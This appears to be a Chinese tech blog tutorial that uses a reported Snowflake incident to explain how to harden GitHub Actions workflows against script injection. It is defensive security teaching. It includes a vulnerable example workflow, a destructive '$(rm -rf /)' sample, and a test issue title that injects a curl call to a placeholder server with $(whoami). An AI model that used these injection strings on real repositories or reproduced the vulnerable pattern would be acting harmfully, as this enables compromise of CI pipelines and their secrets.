AI改的workflow又出漏洞了:3步给GitHub Actions做安全加固,拒绝脚本注入
今天的安全新闻,其实是给你的警示
今天 Wiz 披露:Snowflake 的 GitHub Actions 工作流被 AI 红队利用,攻进了内部 Jira——漏洞正是 Copilot Autofix 自动”修复”代码时引入的:把用户可控的 issue 标题直接拼进了 shell 脚本。这种”脚本注入”漏洞在 GitHub Actions 里太常见了,很多开发者每天都在踩,只是还没被攻击而已。
好消息是:这类漏洞的修复方法很简单,3 步就能让你的 workflow 安全很多。今天这篇教程,就用这个真实案例带你做一次自查加固。
第 1 步:找出所有”外部输入拼进 shell”的地方
GitHub Actions 里最常见的注入点就是 ${{ github.event.* }} 这类表达式——issue 标题、PR 标题、分支名、评论内容,全部是攻击者可控的输入。
先扫描你的仓库:
# 列出所有 workflow
ls .github/workflows/
# 找出所有直接把外部输入拼进 run 的写法(重点关注)
grep -rn 'github.event' .github/workflows/
grep -rn 'github.head_ref' .github/workflows/
grep -rn 'github.ref' .github/workflows/
危险信号:如果发现 run: echo "${{ github.event.issue.title }}" 或 run: TITLE=$(echo '${{ github.event.issue.title }}') 这类写法,恭喜你中奖了——这就是 Snowflake 被攻破的那类漏洞。
第 2 步:改成安全的传参方式
修复原则只有一条:不要把用户输入直接拼进 shell,而是通过环境变量传递,再用 JSON 或 jq 安全构造。
以”同步 issue 到 Jira”的典型场景为例:
# ❌ 危险写法:直接字符串拼接
on:
issues:
types: [opened]
jobs:
sync:
runs-on: ubuntu-latest
steps:
- run: TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g')
env:
JIRA_TOKEN: ${{ secrets.JIRA_TOKEN }}
# ✅ 安全写法:环境变量 + jq 构造 JSON,不经过 shell 解析
on:
issues:
types: [opened]
jobs:
sync:
runs-on: ubuntu-latest
steps:
- run: |
jq -n --arg title "$ISSUE_TITLE" \
'{fields: {summary: $title}}' > payload.json
curl -X POST "$JIRA_URL" \
-H "Authorization: Bearer $JIRA_TOKEN" \
-d @payload.json
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
JIRA_URL: ${{ vars.JIRA_URL }}
JIRA_TOKEN: ${{ secrets.JIRA_TOKEN }}
核心区别:${{ github.event.issue.title }} 被放进 env: 后,GitHub 会把它作为环境变量注入——即使标题里有单引号、$(rm -rf /) 之类的恶意内容,也只会被当成字符串数据,不会被 shell 执行。再用 jq --arg 构造 JSON,彻底绕开转义地狱。
成功验证:提交后故意开一个标题为 '; curl http://your-server/$(whoami);' 的 issue,看 workflow 日志——安全写法下它只是普通字符串,不会触发任何额外命令。
第 3 步:加固运行器权限和触发条件
注入漏洞修完后,还要堵住两个常见的”帮凶”:
1. 默认权限收窄。 很多 workflow 没写 permissions,默认给 write-all——一旦被注入,攻击者能直接改仓库。在 workflow 顶部显式声明最小权限:
permissions:
contents: read
issues: read
pull-requests: read
2. 别用”永远为真”的条件做鉴权。 Snowflake 那个案例里,if: github.event.pull_request.user.login != 'bot' 在 issues 事件里恒为真(因为 pull_request 是 null)。判断事件类型要用 github.event_name,判断用户要用 github.actor:
if: github.event_name == 'issues' && github.actor != 'dependabot[bot]'
3. 敏感 Secrets 只在需要的 job 里声明,不要全局 env: 注入;必要时给关键 job 加 environment 保护。
成功验证:permissions: contents: read 后,workflow 里任何 git push 步骤都会失败——这说明权限收窄生效了。
常见失败与排查
– 改了写法后 workflow 报 jq: command not found:ubuntu-latest 自带 jq,但如果你用的是 debian/alpine 容器,先 apt-get install -y jq 或 apk add jq
– 环境变量里出现 ${{ }} 原样输出:确认没有在 env: 外面用 $ 引用表达式;GitHub 只会在 run 前的 env: 注入时解析
– github.actor 区分大小写:机器人用户名可能带 [bot] 后缀,比对时用 endsWith('[bot]') 更稳
什么时候不用折腾这套
个人项目、仓库不公开、没有自动化写权限的 workflow,注入风险很低,可以放宽;但公开仓库、有机器人账号、处理外部提交(issue/PR)的 workflow,必须按上面三步做一遍。安全不是”防 AI”,而是防任何人——AI 只是让攻击变得更快、更便宜。
一句话结论:花 10 分钟按这三步检查你的 workflow,就能避免 Snowflake 踩过的那种坑:把用户输入当数据,别当代码;权限能少给就少给。 安全加固从来不是大工程,而是把”默认不安全”改成”默认安全”的习惯。
🔥 关注LC智趣厅,每天第一时间看懂 AI 行业大事。
👇 觉得有用,点个赞让更多人看到。
— END —
LC 智趣厅 · 科技与生活的交点
ihygg.cn